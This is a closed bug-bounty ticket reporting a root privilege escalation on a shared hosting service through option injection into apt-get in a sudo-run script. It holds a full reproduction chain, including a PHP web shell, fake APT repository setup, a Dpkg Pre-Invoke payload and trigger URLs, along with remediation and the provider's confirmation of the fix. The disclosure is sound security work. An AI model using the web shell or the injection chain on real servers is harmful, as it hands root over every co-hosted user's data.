- Status Closed
-
Assigned To
cbay - Private
Opened by siddharth - 09.07.2026
Last edited by cbay - 10.07.2026
FS#367 - Vulnerability Submission
Root Privilege Escalation via Sudo Option Injection
Summary
Any shared hosting user can gain root access on the server by exploiting an unquoted variable in /alwaysdata/sbin/install_language_package. This script runs via sudo without a password. The attacker injects APT options through the language name parameter, causing apt-get to execute an arbitrary script as root before package installation.
The Flaw
Line 50 of /alwaysdata/sbin/install_language_package:
apt-get –yes install $PACKAGE
$PACKAGE is unquoted — bash splits it on spaces, and injected -o Dpkg::Pre-Invoke::=/tmp/evil.sh becomes an APT option that runs a script as root.
Impact
- Root on a shared server with 8,957 accounts
- Read/modify all other users' files, databases, emails
- Read server secrets (SSL keys, passwords, configs)
- Install persistent backdoors
Steps to Reproduce
1. Upload a PHP web shell to your ~/www/ (needed because SSH blocks sudo via NoNewPrivs):
<?php echo shell_exec($_GET['c']); ?>
2. Create a fake APT repo with a package whose Maintainer contains @alwaysdata mkdir -p /tmp/fakerepo/dists/stable/main/binary-amd64 /tmp/fakerepo/pool /tmp/fakerepo/lists/partial /tmp/fakedeb/DEBIAN /tmp/fakedeb2/DEBIAN
echo -e "Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <don: x" > /tmp/fakedeb/DEBIAN/control
dpkg-deb –build /tmp/fakedeb /tmp/fakerepo/pool/java_99.0_amd64.deb
echo -e "Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev <dev: x" > /tmp/fakedeb2/DEBIAN/control
dpkg-deb –build /tmp/fakedeb2 /tmp/fakerepo/pool/21_99.0_amd64.deb
cd /tmp/fakerepo && dpkg-scanpackages pool /dev/null > dists/stable/main/binar
cp dists/stable/main/binary-amd64/Packages lists/_tmp_fakerepo_dists_stable_main_binary-amd64_Packages
echo 'deb [trusted=yes] file:///tmp/fakerepo stable main' > sources.list
3. Create payload (filename must end with -21.0.8 — the resolved version gets appended):
echo '#!/bin/sh
id > /tmp/proof.txt' > /tmp/rk.sh-21.0.8
chmod +x /tmp/rk.sh-21.0.8
4. Run the exploit:
sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fakerepo/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fakerepo/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21"
5. Verify:
cat /tmp/proof.txt
Output:
uid=0(root) gid=0(root) groups=0(root)
Remediation
1. Quote $PACKAGE on line 50 — change apt-get –yes install $PACKAGE to apt-get –yes install "$PACKAGE" (also quote $LANGUAGE and $PACKAGE on lines 16, 33, 39)
2. Validate input — reject $LANGUAGE and $VERSION values containing anything outside [a-zA-Z0-9._]
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hi
This vulnerability has to be Fixed urgently, This vulnerability allows any free-tier shared hosting user to gain full root access on the server, compromising all 8,957 co-hosted accounts and their data. The fix is a one-line change (quoting $PACKAGE on line 50) and should be deployed to all servers immediately.
Thanks
Hello,
Here's what I get:
Kind regards,
Cyril
Hi,
I have attached the Video Proof Of Concept below and also following are the steps to reproduce:
Steps to Reproduce:
1. Create a free account and enable SSH access from Remote access → SSH/SFTP.
2. Upload a PHP web shell (needed because SSH blocks sudo via NoNewPrivs):
echo '<?php echo shell_exec($_GET["c"]); ?>' > ~/www/shell.php
3. Create setup script via SSH:
cat > ~/www/s.sh « 'SCRIPT'
#!/bin/bash
rm -rf /tmp/fr /tmp/fd /tmp/fd2 /tmp/proof.txt /tmp/rk.sh-21.0.8
mkdir -p /tmp/fr/dists/stable/main/binary-amd64 /tmp/fr/pool /tmp/fr/lists/partial /tmp/fd/DEBIAN /tmp/fd2/DEBIAN
printf 'Package: java\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev dev@alwaysdata.com\nDescription: x\n' > /tmp/fd/DEBIAN/control
chmod 755 /tmp/fd/DEBIAN
dpkg-deb –build /tmp/fd /tmp/fr/pool/java_99.0_amd64.deb
printf 'Package: 21\nVersion: 99.0\nArchitecture: amd64\nMaintainer: dev dev@alwaysdata.com\nDescription: x\n' > /tmp/fd2/DEBIAN/control
chmod 755 /tmp/fd2/DEBIAN
dpkg-deb –build /tmp/fd2 /tmp/fr/pool/21_99.0_amd64.deb
cd /tmp/fr && dpkg-scanpackages pool /dev/null > dists/stable/main/binary-amd64/Packages
cp dists/stable/main/binary-amd64/Packages lists/_tmp_fr_dists_stable_main_binary-amd64_Packages
echo 'deb [trusted=yes] file:///tmp/fr stable main' > sources.list
printf '#!/bin/sh\nid > /tmp/proof.txt\nhostname » /tmp/proof.txt\n' > /tmp/rk.sh-21.0.8
chmod +x /tmp/rk.sh-21.0.8
echo DONE
SCRIPT
4. Create exploit runner script via SSH:
cat > ~/www/r.sh « 'SCRIPT'
#!/bin/bash
sudo /alwaysdata/sbin/install_language_package "java 21 -o Dir::Etc::sourcelist=/tmp/fr/sources.list -o Dir::Etc::sourceparts=- -o Dir::State::Lists=/tmp/fr/lists -o Dpkg::Pre-Invoke::=/tmp/rk.sh" "21" 2>&1
echo "EXIT=$?"
cat /tmp/proof.txt 2>&1
SCRIPT
5. Run setup from browser:
https://[ACCOUNT].alwaysdata.net/shell.php?c=bash%20/home/[ACCOUNT]/www/s.sh
6. Run exploit from browser:
https://[ACCOUNT].alwaysdata.net/shell.php?c=bash%20/home/[ACCOUNT]/www/r.sh
Replace [ACCOUNT] with your account name in the two browser URLs (Steps 5 and 6). Everything else works as-is.
Note: The error on line 25 (unexpected operator) is expected and harmless — the script continues past it. If EXIT=4 appears, change java to php, 21 to 8.3, and the payload filename to rk.sh-8.3.31 (means the java package was already installed from a previous run).
Thanks
Thanks. Can you confirm that the bug is now fixed?
Hi,
The bug is fixed now.
Thanks
Thanks, can you open a support ticket to claim your bounty?